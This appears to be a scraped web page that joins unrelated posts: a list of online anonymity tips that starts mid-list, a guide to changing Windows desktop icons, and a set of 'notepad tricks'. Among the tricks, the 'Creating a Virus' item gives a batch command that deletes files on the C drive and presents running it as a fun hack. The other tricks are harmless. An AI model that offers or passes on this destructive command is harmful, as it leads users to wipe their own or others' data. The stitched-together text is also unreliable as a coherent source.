If you’re using a popular webmail service, such as Gmail or Yahoo
Mail, and you don’t or can’t make the switch to a more secure service,
then consider installing Mailvelope. Mailvelope
is a browser extension for Google Chrome or Mozilla Firefox that brings
OpenPGP encryption to your webmail service. Similar extensions exist,
such as SecureGmail,
which encrypts and decrypts emails you send through Gmail. Using this
extension means the unencrypted text should never reach Google servers.
Recipients will need to install the extension in order to decrypt and
read the encrypted email.
2. INCOGNITO
This is perhaps one of the most basic privacy options that just about
anyone can take advantage of. The top four most popular browsers -
Google Chrome, Internet
Explorer, Mozilla Firefox and Safari - have a private browsing mode,
which can be found in their respective settings menus. With private
browsing activated, your browser will not store cookies or internet
history on your computer. This has very limited uses and is perhaps
really only effective at hiding your browsing history from your
significant other, siblings or parents. Private browsing does not
securely hide your identity or browsing activities beyond your local
machine as your IP address can still be tracked.
3. DON’T USE SOCIAL MEDIA
The amount of personal data that social networking sites like
Facebook, Google Plus and Twitter have harvested from their billions of
users is shocking. Head to facebook.com/settings and click ‘Download a copy of your Facebook data’
and you might be surprised to see just how much information is on file.
Everything from who you have poked, what events you have or have not
attended and when and where you have logged into your account is logged
and saved. Similar levels of data harvesting occurs on all major social
media sites. This is the price you pay for using a ‘free’ service. The
only sure-fire way to avoid giving up this information is to delete your
accounts entirely. A word of warning, ‘deactivating’ your account is
not the same as deleting it. Deactivating your account is sort of like
putting it into hibernation - all your information is stored and can be
re-activated if you have second thoughts. Always delete rather than
deactivate an account if you wish to completely wipe it.
4. BLOCK AND MANAGE TRACKERS
A large amount of websites track and collect the browsing habits of
the users that visit them. These trackers are invisible and most people
aren’t aware that they’re being tracked. Ghostery
is a free browser extension - available on all major web browsers -
that will reveal these trackers, also known as web bugs. You can then
decide which web bugs you’re comfortable with tracking you and which
ones you’d like to block. In total, Ghostery keeps track of over 1,900
companies. Each company has a profile in the Ghostery Knowledge Library,
allowing you to better understand who and why someone is keeping tabs
on you and what action you would like to take.
5. ENCRYPTED EMAIL
Most of the well known and popular email services - Gmail, Hotmail,
Yahoo Mail, Outlook - are not particularly privacy-friendly. For full
Pretty Good Privacy (PGP) encrypted emails, consider signing up to a
more secure provider. Hushmail
is currently very popular, it provides a private email account with no
ads, built-in encryption and unlimited email aliases. A limited free
service is offered, with more features available for a monthly
subscription fee. However, Hushmail is not above the law and in the past
it has been forced to reveal user data to U.S. authorities following a
court order. The company also logs user IP addresses. MyKolab
is a similar service that has not revealed any user information in the
past, however, they are also obliged to provide access to lawful
interception requests so this still remains a possibility.
6. TEMPORARY EMAIL
Disposable Email Addresses (DEAs) are anonymous and temporary. They
allow users to quickly create new email addresses as-and-when they’re
needed, which can then be disposed of after use. This is particularly
useful for avoiding spam when filling in forms on websites that require
an email address to proceed. Keeping your real email address away from
spammers is crucial to protecting your identity online and DEAs are a
great solution. Popular providers of this service include Guerrilla Mail and Mailinator,
although there are hundreds out there to choose from. Most DEAs are not
particularly secure, so it is not advised to use these services to send
sensitive information - rather, use them as a way to avoid giving away
your own information in situations where you are obliged to do so.
7. VPN
Virtual Private Networks (VPNs) are one of the most effective ways to
protect your privacy online. A VPN essentially hides your IP address -
your unique online identifier - and runs all your online data via a
secure and encrypted virtual tunnel, which can keep websites from
tracking your online activity or even knowing which country you’re
browsing from. These days, there are many VPNs to choose from. Hotspot Shield, TorGuard, CyberGhost and HideMyAss
are some of the more popular ones that are currently available. Most of
them require a small monthly subscription fee and they don’t all
provide the same list of features, so it’s worth shopping around for a
VPN that suits you.
8. TOR
Originally developed with the U.S. Navy in mind as a way to protect government communications, Tor
is a network of “virtual tunnels that allows people and groups to
improve their privacy and security on the Internet.” Tor’s anonymity
network allows access to the ‘deep’ or ‘hidden’ web, where websites can
be created anonymously and individuals can communicate privately with
each other. When using the Tor browser - which can be downloaded for
free from torproject.org - it is very difficult for websites or
individuals to track your online activity and location. However, while
Tor is quite effective at protecting your online anonymity, it can be
slow, complicated and restricting. It’s also worth noting that while the
network can and has been used for good, it has also been used for
illicit purposes, such as selling drugs and distributing images of child
abuse.
9. PROXY SERVER
A proxy server is a computer through which your online activity can
be processed, essentially acting as an intermediary between your
computer and the internet. As such, this can be a great way to maintain
your online anonymity as the proxy basically masks your IP address with
its own. If the proxy is based in a different country than your own, you
can fool websites and trackers into thinking you’re browsing from a
completely different continent. There are many ways to use proxies and
there are various free and paid services on offer. HideMyAss.com/proxy has a limited free web proxy service that you can start using immediately if you’d like try it out.
10. HTTPS EVERYWHERE
Hypertext Transfer Protocol Secure (HTTPS) is the encrypted version
of HTTP, the technology protocol which determines how web servers and
browsers respond to commands and how messages are sent and received. The
Electronic Frontier Foundation’s (EFF) HTTPS Everywhere
is a neat little extension - available on Google Chrome, Mozilla
Firefox and Opera - that forces websites to use HTTPS, even when they
default to the less secure and unencrypted HTTP. By EFF’s own admission
it’s still feasible for “some attackers to break HTTPS,” but it’s
certainly not a bad idea to install their extension as HTTPS is still
far more secure than HTTP and will certainly help to protect your
privacy and consequently maintain your anonymity. EFF is a nonprofit
organisation that seeks to defend civil liberties in the digital world.
11. DESTROY COOKIES
Cookies are little bits of code that are automatically downloaded
from a website and stored on your system. Cookies allow websites to
quickly and easily remember if you’ve been there before - if you have,
the website may then alter certain variables based on the information
that has been stored in the cookie in order to give you a more
personalised and potentially useful experience. However, some cookies
can be very intrusive, logging information such as how long you’ve been
visiting a particular website, how many clicks you’ve made and what
content you seem to prefer reading. It doesn’t hurt, then, to
occasionally wipe your system of any and all cookies. Admittedly this
won’t do a huge amount to protect your anonymity, but it will make it
harder for websites to learn and understand your viewing habits. You can
delete cookies from within your browser, but to make sure you nuke the
lot, you can use an app like CCleaner, which is free and powerful.
12. USE ALTERNATIVE SEARCH ENGINES
Like most people, you probably use Google to search for things
online. Google is an undeniably accurate, fast and efficient search
engine, however, this is largely helped by its personalised search
system. This is a feature that uses your past search history, rather
than just relying on the terms you’ve typed into the search bar, to
present you with results that are more relevant to your personal tastes.
To do this, Google keeps track of your search habits in a number of
ways, including browser cookies. You can turn off this personalised
search by clicking Search Tools > All Results > Verbatim. But if
you really want to make sure Google isn’t tracking your searches,
consider using a different search engine entirely, such as DuckDuckGo,
which promises never to track your searches and “emphasizes protecting
searchers’ privacy and avoiding filter bubble of personalized search
results.”
13. USE ALTERNATIVE BROWSERS
While Google Chrome, Firefox and Internet Explorer are popular,
they’re not as secure as they have the potential to be. If you would
like a more guarded browsing experience that has a more earnest approach
to secure web browsing, consider trying out a privacy-focused browser
such as Dooble, Comodo Dragon or SRWare Iron.
However, do bear in mind that the additional security methods are
fairly limited and will do little to protect your overall anonymity on
their own, rather, this should be used in conjunction with other
measures. Additionally, you can probably get a comparably secure service
by disabling third-party cookies and blocking all location data in your
regular browser’s settings and installing various privacy and
anonymity-focused extensions and plugins such as Ghostery or Mailvelope.
14. DITCH DROPBOX
Edward Snowden has called Dropbox - a cloud storage service - ‘hostile to privacy’.
That’s pretty damning. If you’re worried about sharing your files
through this system, there are a number of good alternatives out there
which offer better privacy. Snowden himself recommends Spideroak,
which describes itself as a zero-knowledge encrypted data backup,
share, sync, access and storage service. You can use a limited version
of this as part of their free trial, which can be found on their
website. A fully featured subscription is available for $12 a month.
However, if you’re just looking to quickly share small or large files
anonymously for free, give OnionShare a go. It doesn’t have as many
features as Spideroak, but it gets the job done.
15. CHANGE YOUR PHONE
Staying anonymous while using a smartphone can be tricky business.
Many apps will want access to all sorts of settings on your device by
default, which you may not be aware of and which you will have to
manually manage with each new app installation and update. Furthermore,
connecting to public networks while on the go is also a great way of
potentially exposing your data to nefarious snoopers. While both Apple’s
iOS 8 and Android’s Lollipop now have good encryption measures by
default, there is another more extreme option in the form of The Blackphone.
This is an ‘NSA-proof’ smartphone that claims to provide privacy
features for texts, emails, web browsing and phone calls. Reviews so far
have been mostly positive but at around £400, it’s not cheap.
16. USE A PASSWORD MANAGER
If you’ve got a password that can be easily guessed, cracked or
stolen, because you have a bad memory for that sort of thing, then you
can say goodbye to your anonymity. This is especially true if you use
the same password for everything, or across multiple websites and/or
services. A great way to improve your password security is to use a
password manager, like LastPass.
LastPass saves all of your passwords and only requires you to remember
one master password, making multiple different passwords a lot less of a
headache to manage, which in turn improves your online security and
protects your anonymity.
17. SECURITY FOCUSED OPERATING SYSTEMS
There are security focused email service providers, security focused
smartphones and security focused web browsers, but have you considered
using a security focused operating system? Whonix
is exactly that - an open source OS that focuses on anonymity, privacy
and security. Based on the Tor network, Whonix is about as anonymous as
an OS can get before it all becomes too inconvenient for normal use.
Whonix runs in two parts, “one solely runs Tor and acts as a gateway…
The other… is on a completely isolated network. Only connections through
Tor are possible.” You can download it for free from whonix.org.
18. ANONYMOUS CURRENCY
Darkcoin
is an open source digital cryptographic currency based on the Bitcoin
software code. It is intended to be a more private version of Bitcoin
(which typically prides itself on its transparency) and it claims to be
the world’s first anonymous cryptocurrency. Finding merchants that
accept Darkcoin can be tough (Darkcoin has its own merchant directory
which you can browse here http://tinyurl.com/qzo398u) but when you do,
your financial transactions are well hidden and, in theory, entirely
anonymous.
19. VIRTUAL MACHINES
Using a virtual machine is a great way to work on sensitive files (or
to open dubious ones) without the fear of online snooping or
potentially infecting your main system. A virtual machine is essentially
a second ‘virtual’ computer that you host within your main operating
system as an application. So let’s say you want to download a JPG from
an email attachment, but you’re worried that it’s infected with a
keylogger or some other form of virus that could jeopardize your
anonymity. Firstly, if you suspect this to be the case, you shouldn’t
download it at all. But one method to more safely examine the file if
you absolutely must is to use virtualization software, such as VirtualBox,
to install a virtual machine onto your system. It’s best to use a
secure OS for this, so something Linux based isn’t a bad idea. You can
then download the file on the virtual machine before turning the
internet on your virtual machine off and opening the JPG. Once you’re
done with the file, you can delete it along with your virtual system,
leaving no traces behind and no potential security issues.
20. AVOID JAVASCRIPT
JavaScript
is used all over the web and can provide detailed information about
your system to any website that uses it. This is almost always used
completely harmlessly and is often used to improve your browsing
experience or funnel more personalised and relevant adverts your way.
However, some of this personal or system information can and has been
leaked in the past. Disabling JavaScript completely is not really a
viable solution as a large amount of websites require you to accept
JavaScript in order for them to display correctly. However, you can
install an extension into your browser that will allow you to blacklist
or whitelist JavaScript activity, giving you more control over how and
where your information is being used. NoScript and ScriptSafe are both popular choices and very easy to use.
21. DESTROY ALL TECHNOLOGY AND LIVE IN A CAVE
Ultimately, the only way to truly stay anonymous online is to never
go online in the first place. If you’ve already used the internet,
delete any and all accounts you’ve ever created, turn your computer off
and smash it to pieces. You will still leave a digital footprint of some
sort in your wake, but hopefully it’s not particularly significant. If
you’re using this extreme method, you should also smash up your smart
phone, your tablet and your smart TV (they’re listening to us now). Now
that you have purged all connected technology from your life, you may
wish to live in self-imposed exile, perhaps in a cave, so that you are
not tempted to re-enter the online world. Don’t tell anyone about this
and you will successfully have acquired complete anonymity. Probably.
How To Change Desktop Icons In Windows – How would t be like if you
could personalize your windows pc icons? They always make it easy to
look for programs. Only texts would have made programs hard to decipher
easy and quick.
So here we have come up with a few very simple step you need to follow to personalize your pc icons :
How To Change Desktop Icons In Windows
You start with opening any photo editor program that you frequently
use, or you could get a set of icons from the internet by just googling
it.
Once you are done with either of the above mentioned, you need to
convert the required icon image to .ico file, since the other image
extensions will cease to work.
For converting the icon image into the required format you can make
use of any online image to icon converter. You can always google for a
list of them.
When you have successfully done the conversion of the image, you select the particular program whose icon you wish to change.
Now, right-click on the program, and open the Properties option.
An option to Change icon would be available.
Once you click on the browse button,and then select the location of
your newly converted icon file,all you do it click on the apply followed
by the okay button .
And that’s it!
You can now have your own personal icon for every program you wish
to. It is no longer going to be the same boring set of icons you see on
your desktop.
Notepad is the plain text editor which is very comfortable in
creating basic text files. They are saved as .txt files which have no
format of tags or styles and this type of notepad environment is used to
write a source code in it in which suitable for editing system files to
use in a DOS environment. Notepad is not just a simple and
plain text creating software it is a powerful one which we can use to
create different types of hack commands, opening many extensions files
and also creating own batch file programs. Here we are sharing top five
notepad tricked which we summed up follow them carefully
Creating a Virus
This is the most powerful and top tricks in the notepad which we can
create a dangerous virus that will format your Windows C drive
Open the Notepad from your windows system
Paste the below code given
@Echo off Del C:\ *.* |y
After pasting the code save the file as bat
Now to format your C drive just open this file.
Make your PC speak
This trick is too funny and easy to create which we just have to
paste a code, by this we can make our system speak that what we are
typing.So, follow the below steps
Open the Notepad from your windows system
Paste the below code given
Dim message, sapi message=InputBox(“What do you want me to say?”,”ATT Text To Speak”) Set sapi=CreateObject(“sapi.spvoice”) sapi.Speak message
After pasting the code save the file as vbs
Now, open the saved file then a window opens which you have to type
anything you want and press OK button then your system speaks.
Matrix Effect
Follow the below steps carefully to create a matrix like effects in your Notepad
Open the Notepad from your windows system
Paste the below code given
@echo off color 02 :start echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% goto start
After pasting the code save the file as bat
Then open the saved to see the matrix effect.
Make your Keyboard lights dance
This trick will make your keyboard’s three lights (Num Lock, Caps
Lock, Scroll Lock) on and off randomly in which these will create a
dancing light effect. Follow the below steps given below
Open the Notepad from your windows system
Paste the below code given
Set wshShell =wscript.CreateObject(“WScript.Shell”) do wscript.sleep 100 wshshell.sendkeys “{CAPSLOCK}” wshshell.sendkeys “{NUMLOCK}” wshshell.sendkeys “{SCROLLLOCK}” loop
After pasting the code save the file as vbs
Then open your saved file which you can experience the amazing dancing light effect.
Create your Diary
This the most important trick and people having habit of writing
Diary will love this. It creates your own diary in which if we write any
information in it is saved automatically with date and time. Follow the
below steps given below to create your diary
Open the Notepad from your windows system
Here no code is pasted just type .LOG in your Notepad
Save the file as txt
That’s it this is very easy to create now, open it and write anything it will be saved automatically with date and time.
And you are done. Please let us know if you face any issues through comments.